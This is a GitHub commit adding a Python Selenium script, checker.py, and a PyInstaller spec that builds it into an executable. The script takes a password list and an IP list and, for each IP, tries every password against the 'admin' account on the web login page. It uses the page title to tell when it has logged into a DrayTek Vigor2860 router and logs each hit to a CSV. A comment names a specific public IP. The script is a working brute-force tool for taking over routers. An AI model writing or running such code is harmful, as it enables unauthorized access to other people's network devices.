Skip to content
This repository has been archived by the owner on Mar 6, 2024. It is now read-only.

Commit

Permalink
Add files via upload
Browse files Browse the repository at this point in the history
  • Loading branch information
yunussahinio authored Jan 23, 2020
1 parent 9661d58 commit 9560061
Show file tree
Hide file tree
Showing 4 changed files with 85 additions and 0 deletions.
52 changes: 52 additions & 0 deletions checker.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,52 @@
from selenium import webdriver
from selenium.common.exceptions import TimeoutException
from selenium.common.exceptions import WebDriverException
import time,sys,os
os.system("@echo off")
os.system("echo Faruk Babaaaagh")
#http://85.105.102.172/weblogin.htm
passFileName= "RkmXxx2019.txt" #debug
ipFileName= "ipadres.txt" #debug
#passFileName= sys.argv[1] #release
#ipFileName = sys.argv[2] #release
with open(passFileName) as passList:
with open(passFileName+'_RESULT.csv', 'a') as resultFile:
driver = webdriver.Firefox()
for p in passList:
p = str.replace(p,"\n","").replace(" ","")

with open(ipFileName) as ipList:
for ip in ipList:
ip = str.replace(ip,"\n","").replace(" ","")
try:
driver.get(f"http://{ip}/weblogin.htm")

driver.find_element_by_name("sUserName").send_keys("admin")
driver.find_element_by_name("sSysPass").send_keys(p)
driver.find_element_by_name("btnOk").click()

time.sleep(0.300)
status = ("<title>DrayTek DrayTek Vigor2860 Series</title>" in driver.page_source)

if status:
status ="success"
else:
status = "fail"

os.system(f"echo {ip} {p} {status}")
resultFile.writelines(f"{ip};{p};{status};\n")
except Exception as e:
if "Timeout" in str(e):
os.system(f"echo {ip} {p} could not response(timeout)")
resultFile.write(f"{ip};{p};could not tested(timeout);\n")
else:
os.system(f"echo {ip} {p} could not tested")
resultFile.write(f"{ip};{p};could not tested;\n")







os.system("echo Saygılar abi..")
33 changes: 33 additions & 0 deletions checker.spec
Original file line number Diff line number Diff line change
@@ -0,0 +1,33 @@
# -*- mode: python ; coding: utf-8 -*-

block_cipher = None


a = Analysis(['checker.py'],
pathex=['C:\\_workfilesforyunus\\Python\\_tests\\logincheck'],
binaries=[],
datas=[],
hiddenimports=[],
hookspath=[],
runtime_hooks=[],
excludes=[],
win_no_prefer_redirects=False,
win_private_assemblies=False,
cipher=block_cipher,
noarchive=False)
pyz = PYZ(a.pure, a.zipped_data,
cipher=block_cipher)
exe = EXE(pyz,
a.scripts,
a.binaries,
a.zipfiles,
a.datas,
[],
name='checker',
debug=False,
bootloader_ignore_signals=False,
strip=False,
upx=True,
upx_exclude=[],
runtime_tmpdir=None,
console=True )
Binary file added geckodriver.exe
Binary file not shown.
Binary file added requirements.txt
Binary file not shown.

0 comments on commit 9560061

Please sign in to comment.